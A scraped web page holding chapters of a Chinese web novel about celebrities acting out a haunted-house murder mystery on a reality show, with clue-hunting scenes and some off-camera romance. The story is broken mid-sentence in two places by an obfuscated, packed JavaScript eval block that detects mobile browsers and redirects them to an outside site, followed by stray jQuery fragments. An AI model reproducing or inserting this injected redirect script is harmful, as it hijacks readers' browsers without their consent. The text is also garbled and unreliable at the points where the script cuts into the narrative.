“弟弟,你现在的当务之急就是卸载洋柿子小说。”白韶清笑道,“我们找到了一根钗子,嗯,是女生样式的。” 闻言,宁非凡与莫闻赫对视一眼,把手里的画递了出去,异口同声道:“是不是画里的这个?” 几人齐齐看来,就见画中人松散挽起的发髻上斜斜插着一支发钗,钗头雕成牡丹状,含苞待放,底下缀着三条珠串流苏。 白韶清拿起钗子看了一眼,当即斩钉截铁道:“没错,是这个。” 11.正片第一期(六) 搜证大概花了十五分钟,不大的屋子被他们翻个底朝天,乱成了道具组看到想吸氧的程度,才算把证据都搜集完。 聂远笙跟自己俩挎包坐在乱糟糟的床上,白韶清和秦章一左一右分别倚着窗台和桌沿,宁非凡与莫闻赫则并肩站在门前,各自拿着自己发现的物证。 “陶老爷,来,咱们聊聊。”莫闻赫桃花眼一弯,在阴森的氛围里笑得阳光灿烂,“先看看我发现的东西吧。” 说着,他举起一本蓝色封皮的线装书。 “这是我在衣柜里找到的《陶宅话本》,作者不详,我给你们念念里面都写了什么。” 宁非凡侧过身,和众人一起看向莫闻赫,听他抑扬顿挫地读道:“桃花源岛上有一陶宅,乃是前朝一位老王爷的居所。那一朝覆灭后,老王爷与其家眷搬离,久而久之宅子便空置下来,至本朝才又为人所占,重新修缮,当了祖宅。” “说的是我们家的故事?”王洛玟攥着聂远笙的衣角,好奇地张望,“写实吗?” “别急,你接着听。”莫闻赫神秘一笑,翻过第二页,“陶宅荒废百年,怪事频发,据当地人所说,夜半时常能听到宅子里传出幽怨哭声,看见墙上有白影掠过。直到新主人入住后,这类情况仍时有发生,搅扰得家宅不宁——不过十年,便举家归西,阖族死尽,陶宅再度荒废下来。” 王洛玟眼睛瞪得溜圆,又一次缩回弟弟可靠的臂膀后方。 莫闻赫看了一眼何循,往下翻页:“据当地执法机关调查,陶家共有五口人并管家一位,总共六人,死于宅子各处。陶老爷吊死于正堂,大小姐淹死于池塘,二小姐坠入枯井头朝下而亡,三少爷被埋进花圃窒息而死,四少爷死于利刃割喉,五少爷溺毙于荷花池,管家倒在门口,疑似惊惧而死——就是吓死。” “从现场残留痕迹来看,陶老爷是自杀,大小姐和二小姐死于意外,三、四、五少爷是互相残杀,过程为五少爷活埋三少爷,四少爷推五少爷下荷花池反被他割喉,至此无人生还。” 念到这里,莫闻赫稍作停顿,从话本中抽出一张照片展示给众人。 照片泛黄,边缘晕散发黑,塑封纸右下方被烧掉一角。上面站着一排六人,中间是穿着马褂的老爷,左右手是身着清装与身着洋裙的两位小姐,再往两侧是两个西装青年,最外围的左边那人穿了一身灰白长袍,右边那位则穿着盘扣上衣与蓝色布裤—— 无一例外的,他们的脸都被烟头烫掉了。 宁非凡贴到他身边,挨着他的肩膀打量照片上的人,其他人也纷纷围聚过来,辨别具体是谁。 “装扮很熟悉吧?”莫闻赫指着照片挨个点名,“这个是陶老爷,左手边大小姐,右手边二小姐,再外一层左侧是三少爷,右侧是四少爷,最外左边是我们宁先生,右边……” “是陶园。”何循斩钉截铁道,“他今天穿的就是这身衣服。” “在这个故事里,陶园不是园丁,而是管家……”白韶清偏头看向宁非凡,“那你就是五少爷?” 宁非凡两手一摊,满脸无辜:“我不知道啊。” 秦章拿过照片细看,“嘶”了一声:“照片上的人都是没有脸的,单凭衣着可以确定谁是谁吗?” “故意把脸烫掉肯定另有文章,推理小说老套路了。”聂远笙一副过来人的口吻,“何况照片上的人都死了,我们未必是他们。” 宁非凡的眼神扫向何循:“到底是不是我们,问问陶老爷不就知道了。” 莫闻赫赞同点头,站累了似的往他身上一靠,抬起手臂搭在他肩上:“来吧陶老爷,跟我们说说这东西是哪儿来的,里面讲的是不是真的?” 何循清清嗓子:“少帅,你是在哪儿发现的话本?” 莫闻赫往旁边一指:“衣柜。” “对,我也是在衣柜里发现的。”何循语气深沉,“具体是什么时候发现它的,我已经不记得了,好像从我有记忆开始,这部话本就已经在那里了。我看过它很多次,也怀疑过照片上的人跟我们有什么关系,但跟你们一样,我也无从查起。” “你的意思是你对这东西一无所知?”秦章举起了照片。 “是的,一无所知,包括这张照片,我看到它的时候,它就已经烧成这样了。”何循点了点太阳穴,“我的记忆就像缺损的拼图,有很多空白的地方,这个话本就是缺失的其中一块。” 宁非凡像个猫爬架一样被莫闻赫挂着,抽走他手里的话本细看:“你不知道话本来历,不知道照片上的人是谁,可它又在你的空间里出现,说明你至少猜测过我们一家有可能是话本中的角色。那么,在听大小姐说她妄想症发作时看到的陶园被三次抛尸的地点,包括刚刚看到陶园的尸体时,你就没想起书中人的死法吗?” 书里的陶老爷吊死在正堂——陶园被吊死于正堂。 书里的大小姐淹死于池塘——大小姐看到陶园被三少爷和四少爷抛尸池塘。 书里的二小姐摔死在枯井——大小姐看到陶园被陶老爷和二小姐抛尸枯井。 书里的三少爷被埋进花圃窒息而死——大小姐看到陶园被宁先生埋尸花圃。 宁非凡一一梳理对应出来,众人一边恍然大悟,一边又面露惊悚,大小姐更没想到自己的妄想症跟自家老父亲的证据还有这种关联,目瞪口呆地与何循对视。 “现在只有四少爷的割喉和五少爷的溺毙没有出现。”宁非凡见气氛古怪,随口开了个玩笑:“大小姐你明天早点起床,争取看看还有没有人会用这两种方式干掉陶园。” 白韶清噗嗤一笑:“拉倒吧,我都知道他现实里已经死了,看到他的第一眼肯定是吓得拔腿就跑,哪有心情看他怎么再死两次。” 两人你一言我一语,让紧张的氛围稍微松弛几分。 王洛玟拍着胸口压惊:“这话本怪瘆得慌的,爹你也是心大,居然一直收着。” 何循瞥她一眼,幽幽地道:“谁说的,我扔过撕过烧过,可当天毁掉了,第二天又会有新的一本凭空出现在衣柜里,跟鬼一样吓人。但凡它能丢,我都不会留到今天。” 王洛玟嘴角一抽:“行吧。” 关于话本的讨论暂时到此为止,莫闻赫用手机拍下话本内容,又将照片收进口袋,便掏出了第二样证据。 “这也是在衣柜里发现的,一张藏在衣服下方的亲子证明。”莫闻赫抖开黄色信纸,看看宁非凡又看看何循,露出迷之微笑,“申体倍棒医生开的证明,陶老爷与宁先生——” 众人心一提,就听见他来了个大转折:“没有血缘关系。” 宁非凡松了口气,还夸张地擦擦额头上不存在的汗:“吓死我了,还以为我今天也要叫循哥父亲。” 何循哈哈大笑:“叫呗,我又不介意。” 宁非凡用力摆手,用全身表达抗拒。 莫闻赫笑着拉回正题:“这是你看了话本之后去开的证明吧?” “对。”何循点头,“话本上的故事指向性太强了,我肯定得查。但别的不好查,只有和宁先生的亲子关系可以下手,我就先查了这个。证明出来后,我放心多了,虽然这个话本来历成谜又很诡异,但至少说的不是我们家的事,那它爱缠着我就缠着我吧,不重要。” “哦……”莫闻赫意味深长地拉长了语调,抬手掠过众人眼前,手指一转,变魔术似的抓出了一只纸团,“那看到这个以后,你还一样放心吗?” 他这突如其来的一手宛如孔雀开屏,宁非凡还差点被他的手指扫到鬓角,无奈又好笑地避了避,问道:“什么东西啊?出场方式这么隆重。” 白韶清拿过纸团打开,看清上面的内容后顿时“嗯”了一声,脖子前伸:“经血液检验证明,陶老爷与陶园是父子关系——申体倍棒?!” 何循尴尬而不失礼貌地一笑:“之前检测的时候,考虑到宁先生年纪对不上,我就顺手把桃园的血也送了过去,没想到东边不亮西边亮,发现了陶园是我儿子。” 白韶清疯狂挠头:“爹,你不会和那位逃跑的厨娘……” 秦章与聂远笙一愣:“啊?” 见三位儿女已经开始在脑内给自己编花边新闻,何循赶紧辟谣:“不是!不是!我也不知道他为什么是我的儿子,但我印象里我跟那位厨娘毫无关系!你们别瞎想!” “你不是记忆有空白吗?”莫闻赫笑着给他的花边新闻添砖加瓦,“没准儿这也是你丢失的拼图的其中一块呢?” 陶老爷被堵了个正着,回旋镖抽脸啪啪的。 宁非凡和王洛玟捂嘴,发出自行车胎漏气般的笑声,悠哉悠哉地看大前辈在这莫名其妙出现的感情线里手足无措,疯狂解释。 最后还是大小姐心疼老父亲,忍着笑打断了他非常努力但毫不可信的辩驳,转移话题:“现在可以确定陶园是父亲的小儿子,也就是话本里的五少爷。那我们能不能确定照片上穿长衫的这位是宁先生,或者说管家?” “不好说,我们先不急着对应照片中人是谁,先把证据盘完。”莫闻赫终于想起侦探位有一个推流程的任务,顺口带过,并掏出自己发现的最后一样证物,一件袖口、下摆都沾着红色污渍的衣服,“陶老爷,你能解释一下为什么你衣柜里会有一件带血的衣服吗?” 终于揭过感情线,何循扶了扶眼镜,如释重负地说:“那不是血,是荷花池边上的湿土痕。” 王洛玟闻言,拿起衣摆看了看,点头道:“没错。我们家荷花池边上的土壤平时是黑色的,沾水后就会变红,八点半我不是跟爹一起去看了荷花池吗?应该就是在那时候沾上的,我屋里也有一件衣服沾了这种痕迹。” 这个解释听起来合情合理,宁非凡却突然摇头:“不是哦,这是血。” 何循与王洛玟一愣。 莫闻赫却猜到什么,看了看他,又拈起衣摆凑到鼻子下嗅了嗅,眉头微微皱起:“确实是血的味道。” 听到这话,几人轮流拿起衣服嗅闻,果然闻到了淡淡的血腥味。 “这怎么可能……”何循喃喃道,“我就是在那里沾上的啊……” “那就表示土里有血——” 宁非凡与莫闻赫异口同声道,说完后又同时一怔,惊讶地对视一眼,而后为这份默契相视一笑。 白韶清故作嫌弃地捂了捂眼:“你俩真的没有什么隐藏的感情线吗?” “没有,不可能有,不存在的。”宁非凡一口否认。 莫闻赫却只是看了看他,不置可否,饶有深意地勾起嘴角。 “土里有血,而且在你们抵达荷花池之前就有了,那里可能是……”宁非凡并未发觉他的表情变化,“第一案发现场?” 何循不赞成:“陶园身上没有血,他是被勒死的。” “哦,对。”宁非凡恍然,“难道还有第二个死者?” “可能有哦。”莫闻赫示意他看《陶宅话本》,“书里的四少爷就是被割喉而死的。” 他话音刚落,外面忽然吹来一阵凉风,吹得窗户吱呀摇晃,碰撞出闷塞轻响。 两个女生搓了搓手臂,聂远笙咕哝:“我汗毛都竖起来了。” 这个综艺别的不说,氛围做得是真到位。 衣柜里的线索讲完,莫闻赫把道具归置原位,宁非凡一边帮着拾掇,一边展示自己在博物架上找到的东西。 “这是我在花瓶里发现的两幅画。”他展开画纸,露出几乎完全一样的两道背影,“画的内容跟桌上那幅半成品是一样的,陶老爷,这是你画的吗?” “是我画的。”何循点头,“从一个月前开始,我一直在做同一个梦,梦里我追着一个人跑,但我看不到他的正面,醒来也只记得他的背影,就是画上那个。我不知道为什么,莫名地觉得这个梦很重要,怕忘记这唯一有印象的画面,我就把他画了下来。” 王洛玟比对着三幅画,画 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16210098|180727||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 中的背影穿着宽袍广袖的古装,长发半挽半披,身形模糊,辨不清男女,也没什么出奇的地方。非要说哪里值得注意,只有他发上的钗子。 她找白韶清拿来她与秦章发现的金钗:“这是女生的首饰吧?画里的人应该是女的?” “嗯……”何循仰头想了想,“不对,我做梦的时候感觉他像男的。” “男的戴这种钗子啊?” 王洛玟拿高了发钗,尾端流苏轻晃,钗头上的牡丹精致而熠熠生辉,拿去当古装剧婚服饰品的样品,道具老师都要骂一句“没必要这么给我上难度”。 “这是个人喜好嘛,说不定人家就喜欢这种华丽款的首饰呢?”白韶清试图让老父亲的说辞合理化,“不过爹,你这根发钗是哪儿来的?” “我做完梦之后定做的啊。”何循抬了抬下巴,“这东西可花了我不少钱。” 宁非凡好笑:“您看到话本后就给我和陶园做了亲子鉴定,现在又因为一个没头没尾的梦花大价钱定制发簪,行啊,执行力很强。” 莫闻赫笑着接话:“五六十岁正是闯的年纪,我们陶老爷人老心不老,怪不得能支撑陶家那么久。” 聂远笙抿嘴一笑,顺手补刀:“诶,陶家可是在爹接手之后家道中落的。” 何循感觉自己浑身上下扎满了箭,好气又好笑地指着一唱一和的他们仨:“我说怎么陶家的竹林里不长笋,合着都被你们夺了是吧?” 旁观的三姐弟喷笑出声,陶老爷屋里顿时充满了快活的空气。 笑过之后,宁非凡清了清嗓子,掏出第二样证据,一把小刀。 刀刃插在鞘里,他缓缓拔出来,就见刀刃上寒芒闪烁,侧面刃锋沾满了干涸的血渍。 不夸张地说,这绝对是在陶老爷房间里发现的最有分量的证据。 “爹,不是,你这……” 聂远笙拿过小刀仔细查看,确认上面真的是血后,惊讶到舌头打结,一时不知道该从哪句话说起。 白韶清也抠脑壳:“爹,虽说五六十岁正是闯的年纪,但咱不能去监狱里闯吧?在道德与法律的底线上乘风破浪,您是真觉得陶家衰落得不够快吗?” 何循从聂远笙手中接过小刀,哭笑不得地说道:“你们听我解释——我也不知道这东西跟我有什么关系。” 宁非凡与莫闻赫的站姿又变成了并肩而立,两人双手抱肩觑着何循,表情严肃,眼神冷淡,压迫感十足。 何循愣了愣,随即反应过来,无奈地拉了一把宁非凡:“宁先生,你怎么也跟侦探似的站那儿?过来,这里才是你的位置。” 宁非凡瞬间破功,笑眯眯地踱到嫌疑人那一侧:“行,我就站这儿听你说。” 何循这下舒服了,慢条斯理地揣起了手,像太阳底下农民揣打盹的大吨位橘猫。 “我不是说一个月前我就开始做同一个梦吗?其实除了做梦,我还会梦游,而且只在做那个梦时梦游,每次醒来的时候,我就站在荷花池边上,只差一步就会跌进池子里,回回都吓得我险些心脏骤停。” “啊……”聂远笙恍然大悟,拿过自己发现的证据,“这是我在桌上匣子里找到的药方,一个治梦游,一个治心律不齐,抽屉里还有成药,都吃了将近一半。” 何循点点头:“对,这是我找人开的药,一共两个月的量,我吃了快一个月了。” “有用吗?”秦章关心地问。 何循想了想:“有心理安慰的作用。” 秦章乐了。 莫闻赫上前拿药方,脚步一错,顺势站到了宁非凡身边,头也不抬地问:“那刀是怎么回事?哪儿来的?” 何循道:“前天晚上我不是又做梦了吗?还是梦到那个背影,还是梦游,醒来的时候还是在荷花池边上,唯一的不同就是我手里多了这把刀。那时我握着刀,刀鞘掉在脚边,刀上的血还是热的,正往下滴。我吓得差点过去,来不及多想,把刀和刀鞘都扔进池子里,然后急急忙忙跑回房间……” 说到这儿,他突然一顿,叹着气问:“接下来的事你们应该能猜到吧?” 其他人的反应慢了一拍,宁非凡和莫闻赫倒是再次异口同声:“刀跟过来了?” “对。”何循猛地一拍手,“它出现在了我床上。” 宁非凡拍拍莫闻赫肩膀,意有所指:“跟话本配套的。” 莫闻赫心领神会地点头。 何循这会儿还没反应过来,还在讲他和刀的爱恨情仇:“就跟话本一样啊,一样一样的,这把刀丢不掉毁不了,连上面的血都擦不干净,擦了它就流,擦了它就流,不知道的还以为它在自己割自己。我没办法,只能将它藏起来,反正我没用它杀人,家里也没有尸体,只要它老老实实的,我就当多个藏品了。” “嘿,你们说巧不巧!得到这把刀之后,我的梦游症就不药而愈了,也不再梦到那个背影了!” “这么神啊?”白韶清小心翼翼地转动刀子。 “可能不是神,而是他的梦和梦游症状都因为这把刀而出现,现在刀找到了,病自然也就好了。”宁非凡拿起《陶宅话本》,翻到最后一页,“还记得话本里的五少爷是怎么死的吗?” 众人动作一顿,表情都有一瞬间的空白。 王洛玟瞠目结舌:“五少爷被四少爷推进荷花池溺死,死前用刀割了四少爷的喉?” 宁非凡微笑:“陶老爷每次梦游醒来都在荷花池边上,手里握着满是血迹的刀……” “所以我是五少爷?”何循的音调拔高得直冲屋顶,“那陶园是谁?!” “陶园是怎么死的?”莫闻赫反问。 秦章条件反射地回答:“吊、吊死的啊……” 话本里,陶老爷是吊死的人。 莫闻赫拍了拍掌,又摊开双手,一切尽在不言中。 “我的天啊……”何循现在真有一种梦游的感觉了,“反转这么大吗?” 12.正片第一期(七) 从陶老爷屋里出来,何循仍沉浸在辈分大降级的打击中,恍恍惚惚地被俩闺女扶着,走向宁非凡的空间,也就是书房。 拐过走廊转角,推开虚掩的门,众人调侃似的安慰何循的声音一止,在扑面而来的暖热书香中噤声。 书房不大,正对门是一方书桌,书架排在两侧近墙边,昏黄的烛火幽幽映照着墙上的人物挂画,显得人影幢幢,乍一下看到还真会被吓一跳。 何循和王洛玟又缩到了聂远笙身边,自嘲般吐槽了句“游戏体验极差”。莫闻赫依旧是当仁不让地走在最前方开路,进门就直奔左侧窗下的软榻。 “书房里怎么还有床啊?”秦章问道。 “我偶尔会睡在这里。”宁非凡不能搜自己的空间,便袖手站在门边,笑眯眯看着小伙伴们忙活,“像今夜这样的雨天,我就待在书房照看书籍,以免它们被雨水打湿,或者风刮倒了烛台引发火灾。桃花源岛多雨,雨季能有三四个月,所以这里相当于我的主要工作场所和另一间卧室。” 这个解释合情合理,众人记下“桃花源岛多雨”这一不知道有没有用的新信息点,拿出搜查陶老爷屋子的行动力,给书房也上了一个刮地皮套餐。 因为时间不早了,怕耽误进度,他们不再搜完才问,而是摸到一个证据问一个。 莫闻赫掀开榻上的枕头被子,又把床单撩开,找到了一封书信。 他拿出信件展开,眉头一挑:“弄假成侦探社的调查报告?你在调查陶宅和陶家人?为什么?” 宁非凡笑而不语:“你们再翻翻。” 这就是证据不全,还不能触发剧情的意思了。 莫闻赫正想说什么,亦步亦趋跟在聂远笙身旁的王洛玟忽然眼尖看到书架上方露出的蓝色书角,连忙踮脚将其拿下。 下一秒,她惊讶地脱口而出:“你也有《陶宅话本》?” 何循“唰”地看了过去:“快看看内容是不是一样的!” “一样的。”王洛玟翻了翻,“不过没有照片。” 莫闻赫瞥了他们一眼,又看了看宁非凡,微微笑道:“现在可以说了吧?” 宁非凡气定神闲,拉过椅子坐下,悠哉地翘起二郎腿,下巴一抬:“你先念念信里的内容。” 白韶清拿着新发现的东西轻笑:“我们宁先生排场还挺大,都敢使唤少帅了。少帅,你这都不制裁他?” 莫闻赫摆摆手:“查完案就制裁,我不着急。” 众人哄笑。 调查报告略长,莫闻赫删繁就简地念了一遍,大意是宁非凡来陶家之前就托弄假成侦探社调查陶宅和陶家人的情况,自己也以身入局亲自接近这一家子,却迟迟查不出任何有效信息,还一度与侦探社断联,三个月前才收到这封九年前就寄出的信。 报告里说,陶宅二十年前就已经荒废,因为怪事频发,疑似闹鬼,所以一直没有人敢接手,早已经荒凉破败不能住人,也无人敢住。 而陶宅最近的主人,也就是他让调查的陶家一家五口与他们的管家,实际上应该是一家六口,没有管家。他们二十年前就已全部死于非命,死因和《陶宅话本》里写的一模一样。 信件最后是一句提醒:宁先生,鉴于您已失踪一年,预付的费用不足以支撑我们继续深入调查,在您回来补上费用或选择结案之前,我们会暂时封存本案档案。 “陶家原本没有管家,是一家六口。”莫闻赫把信件递给探头张望的白韶清,“但那张照片里出现了管家,所以你就是那个管家,对吗?” “对。”在证据面前,宁非凡爽快地承认。 大家对自己可能是个死人的事接受良好,没有在这上面过多纠结,都选择着眼于正题。 于是聂远笙奇怪地问:“你为什么要调查我们?” “我不是调查你们,我主要是想调查这座宅子。”宁非凡竖起手指摇了摇,倚着靠背的姿态呈现出一种有控制的松弛优雅,薄唇微微勾起,不像管家,反而像个养尊处优的贵族公子。 “二十年前……哦,按现在的时间线应该是三十年前,也就是你们记忆里陶家家道中落的时间点,陶家一家六口全部身亡。有自杀的,有意外死亡的,有互相残杀的,这些你们在话本里都看过了。我是一名掮客,平常会低价入手一些凶宅、老宅,重新修缮后再高价租或卖给有钱人,陶宅就是我十年前入手的一栋废弃房屋。” “但不知道为什么,明明卖房给我的人说陶宅空置已久,我来查收屋子时却发现这里既不破败,也有人住——就是你们五个。于是我立刻去找卖房的人,却发现那人早已卷钱跑得无影无踪。” “你想过要赶我们出去吗?”秦章靠着书架,双手抱肩,右手食指上挂着一串黄铜长柄钥匙。 “说实话,想过,而且我报官了。”宁非凡点头,“但官府的人过来时,这栋宅子就恢复成了卖房人说的状况——破旧,空荡,没有居住痕迹。而官府的人一走,宅子又会变成我看到的那样。反复几次后,官府也不耐烦搭理我了,我只能自己找人调查,找来找去就找上了业内最靠谱的弄假成侦探社。” “头可真铁啊。”白韶清咋舌,“正常人碰到这种板上钉钉的凶宅,不是应该撒腿就跑吗?” 宁非凡叹气:“我也想跑,可我跑了我的钱怎么办?打水漂吗?” “所以为了不让花出去的钱打水漂,你选择花更多钱捞之前的沉没成本?”何循怜悯地轻抚他狗头,“孩子,你以后可千万别做生意嗷。” 宁非凡无奈地笑着点头:“知道了五少爷。” “……是陶老爷!” 何循拍他一下,捂着再次被辈分反转扎到的心黯然退开。 莫闻赫抖了抖手里的信,另一只手托住下巴,笑吟吟地问:“既然找了侦探社调查,那你为什么还要亲自进陶宅?” 他这副平易近人和善可亲的模样,跟之前询问陶老爷时可谓两模两样,嗑CP大手白韶清用力抿嘴,欲言又止,忍下了打断他的冲动。 宁非凡对此一无所知,隔着几米距离与莫闻赫对视:“你们也知道我这人头铁,而且胆子大不怕鬼,加上其他人都看不见你们和陶宅的古怪,只有我能看到,我担心侦探社也查不出什么,就只买了他们最便宜的套餐,然后自己亲自出马,算是上了双保险。” “那会儿陶老爷不是在招教书先生吗?我就来应聘了,结果进来之后我就出不去了,不管我怎么努力都只能在宅子所在的这条陶出生天街打转。宅子里的时间也是静止的,你们十年前几岁,现在还是几岁,完全没有变化。而且每年的大年三十一过,你们的记忆就会被重置到一年前,年年都这样。” “我们的记忆会重置?”秦章敏锐地抓住重点,“是记忆重置还是时间重置?” 宁非凡坚定道:“是记忆重置。你们的记忆会回退到一年前,但发生的事不同。” “你不受记忆重置影响吗?” “对,我是有之前的记忆的。”宁非凡指了下王洛玟拿着的《陶宅话本》,“那个是我进陶宅第一年在我衣柜里发现的,跟陶老爷的情况一样,扔不掉毁不掉,除了没有那张大合照。” 莫闻赫想了想,问:“在你印象里,陶园是一直都在的吗?” “诶,少帅你问到重点了。” 宁非凡神秘一笑,这时,白韶清故作正经地清清嗓子,举起手里的东西:“我发现了家丁名册,上面记录着陶宅每个下人的进府时间和工作内容,这里所有下人,包括陶园和我们宁先生自己,都是十年前招进来的。” 莫闻赫上前拿过名册,目光掠过家丁甲乙丙这些凑人数的名字,落在最后两列的“宁先生”和“陶园”上,指尖戳了戳名字下方的日期——陶历121年阴历10月21日。 他转身面向宁非凡,长睫低垂,俯视泰然自若的宁先生:“名册哪儿来的?” “当然是在书房里发现的。”宁非凡冲白韶清扬了扬下巴,“大小姐是从哪儿找到的它就放在哪儿,我没移动过位置。” 莫闻赫又看向何循:“陶老爷,这事儿你有印象吗?” 何循茫然摇头,不仅是他,其他陶家儿女也都纷纷表示不清楚。 这时,宁非凡忽然想到什么,问道:“大家还记得大小姐的妄想症是什么时候得的吗?我一进府就从二小姐口中知道了这件事,但二小姐当时并没有告诉我大小姐患病的时间。” “没有印象了。”何循皱眉,“跟《陶宅话本》一样,从我有记忆开始,我大闺女就是病着的。” 突然被cue的“大闺女”撇撇嘴:“爹,你现在可能不是我们的爹,而是我们小弟。” “在决定性证据出现之前,你老父亲还是你老父亲!”何循梗着脖子倔强地维护人设。 莫闻赫拉过另一张椅子,在宁非凡身边坐下,两人离得近,肩膀又挨到一起,稍微偏头就能碰上对方鬓角。 在他旁边,莫闻赫似乎一直没有安全距离的概念,将刚刚听他说故事时从枕套里翻出的药瓶递过去:“胆大包天丸是什么?” 宁非凡伸手去拿,略带薄茧的指腹蹭过他食指上的指环,他指节一缩,竟像隔着一圈金属被烫到了般。 “药,治疗心悸的。”宁非凡没有发现他的异样,药瓶在手里转了半圈,药粒在瓶中碰撞作响,“一个月前,我突然患上了心悸的毛病,时不时就会出现心律不齐,血压莫名飙升的症状,就像是……被吓到了一样。但我胆子很大,不然也不能孤身入凶宅对吧,所以我只当这是普通病症,找大夫开了点药吃。” “又是一个月前?”莫闻赫把药瓶拿回来,“陶老爷一个月前梦游,你一个月前心悸,一个月前到底发生了什么?” 宁非凡笑而不语。 聂远笙晃了晃刚找到的锦盒,秦章见状,把手里的钥匙递过去,成功打开了盒子。 盒中放着一张折叠的纸条,两人打开一看,赫然是二小姐的死亡证明。 “二姐,”聂远笙和秦章异口同声:“你死了?!” 王洛玟面露苦涩:“我不早死了吗?大家都死了啊。” “不是!”聂远笙激动地把纸条怼到她面前,“一个月前!你摔下枯井死了!” 众人表情一凛,都凑过去看,莫闻赫索性伸手去拿纸条,半个身子从宁非凡身前横过,就像把他拥在怀里。 他代言的高档香水冷调的苦香扫过宁非凡鼻尖,好闻但略显冲鼻,宁非凡正想避开,他却已经收回手,坐回原位,回到恰当的距离,那刺鼻的香味顿时被柔化到可以接受的程度。 宁非凡的表情有一瞬间的、连他自己都不明白的微妙。 这个转瞬即逝的小插曲没有引起任何人的注意,莫闻赫一目十行地看完死亡证明,恍然道:“我知道了,一个月前你们是不是都死了一次——在你们不知道的时候?” 其他人一下子没跟上他的思路:“怎么说?” 莫闻赫道:“陶老爷的梦游症和宁先生的心悸都出现在一个月前,梦游到荷花池的行为与带血的小刀对应的是四少爷和五少爷的死法,心悸对应的是管家的死法,你们死后再重生……姑且先当是重生,你们死后再重生,失去了这部分记忆,却留下了后遗症,才会出现患病的症状。” 这话一出,所有人的表情都略有变化,莫闻赫似笑非笑地问:“不止大小姐,你们每个人都有病,对吧?” 大家都学宁非凡,笑而不语。 反正没翻出证据前,他们可以保持沉默。 莫闻赫也不介意,转身把纸条递到宁非凡面前:“你有二小姐的死亡证明,是不是已经猜出所有人都死过一次了?” “没有,我没少帅那么聪明,只是知道二小姐又死了一次而已。”宁非凡赶紧坐直身解释,这事儿可不能轻易认,“陶宅是不会时间重置的,在这里的……人只会被重置记忆,如果一个月前我们都死过一次,那宅子里有死亡证明是很正常的事。” 王洛玟被说服了:“还真是。不过你是在哪儿发现的我的死亡证明?” “书房啊,我手里所有的文字证据都是从书房找到的。”宁非凡摊手,“你们可以再找找。” 莫闻赫听出了他的弦外之音,笑道:“还有其他死亡证明是吧?” 宁非凡笑眯眯点头,又做了个“请”的手势,示意他自己找。 几分钟,众人翻遍书房内的犄角旮旯,果然又搜出了一张死亡证明,是宁先生自己的,死因为“惊惧而死”。 至此,书房搜查完毕,更多的线索浮出水面,但笼罩在这个案子上的迷雾也更重了。 搜完书房,剩下的时间不够再搜另外四个空间,节目组 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“……什……” 莫闻赫陡然回神,就见宁非凡冲自己微微一笑,屈指叩了下车门:“开门。” “……哦。” 莫闻赫有些手忙脚乱地按下开门按钮,车门滑开时,他又连忙挪向另一侧,让出这边的位置。 宁非凡没有跟他客气,道过谢就大大方方坐了上去,发现他的经纪人和助理都在也不局促,礼貌地跟她们打了声招呼。 白洁揉了揉眉心,将多余的嘱咐省下,只说:“你好好考虑吧,我觉得这是个不错的机会,剧本虽然一般,但把CP演好了,还是能吃到红利的。最近好几部热播剧不都是凭CP出圈的么。” 说着,她的目光在宁非凡身上一转,腹诽道:你跟你身边的这位才见第一天,CP超话都建好了,这会儿才来说不想炒CP,也不嫌晚。 宁非凡摸出耳机戴上,扭头望出窗外,一副非礼勿听的模样。 本来说的也不是需要保密的工作,莫闻赫刷着手机,心不在焉地说:“算了。导演虽然代表作不少,但之前合作的都是靠谱编剧,这次这几位的水平实在很难与林编相提并论,我只看前三集都看出了不少问题,播出后怕是要翻车。而且你不觉得男二男三的戏太多了吗?听说这俩角色是出品方旗下的艺人……算了吧白姐。” 白洁一想也是,点头揭过此事,专心回起了微信消息。 宁非凡并不关注旁边的事,兀自听着歌欣赏夜景,临到酒店停车场,手臂突然被碰了一下。 莫闻赫递过一瓶牛奶:“喝点,一会儿好好休息,明早十点录制,你最晚八点就得起床到陶宅,别忘了。” 宁非凡看了看那瓶加热过的牛奶,伸手接过,暖意从掌心一直流到心底。 “谢谢。”他拧开喝了一口,笑眯眯问道:“明天我还能蹭车?” 莫闻赫也笑:“七点半你能起,我就在停车场等你。” …… 房间里的灯关了大半,只留下床边一盏台灯亮着,莫闻赫的影子掠过光洁如镜的瓷砖地板,擦着头发坐到床上。 搁在一旁的手机没有锁屏,屏幕上显示的是他刚刚登录的微博小号首页,第一篇推荐帖是大数据读心后推送的来自煊赫非凡CP超话的闲聊帖,点赞转发都破了四位数,评论也来到了九百。 他扔下毛巾,半湿的头发自然散开,发尖滴水,将睡衣领口洇湿了一圈。 点进推荐帖的评论区,最高赞热评赫然映入他眼帘:新的路透照片大家看了吗?我就说莫闻赫他这次真的不一样! 又是这句话。 莫闻赫靠脸混成CP大户,小号常年混迹内娱瓜圈,有关自己的领嗑帖和嫂子帖也看过不少,“他这次真的不一样”这个句子几乎每篇帖子都有,缺席了他大名都不会缺少这句话。 他其实不太明白“这次真的不一样”是不一样在哪里,不一样在他长了双被戏称为看狗都深情的眼睛,所以只要笑着看人就会让人觉得深情?还是他出于礼貌的迁就、避让和照顾都被慧眼如炬的CP粉们视作特殊对待? 莫闻赫偶尔也想解释,但看着小姑娘们嗑得高兴,又不忍心打破她们的幻想,只能默默与相方保持距离。 反正这种事在娱乐圈屡见不鲜,甚至成了热度导向,左右他不会主动炒CP,粉丝们嗑个乐呵,只要不贴脸,就随她们去吧。 莫闻赫轻轻吐气,咕哝道:“煊赫非凡——这次的CP名起的倒是好听。什么路透照片?节目组又出漏勺了?” 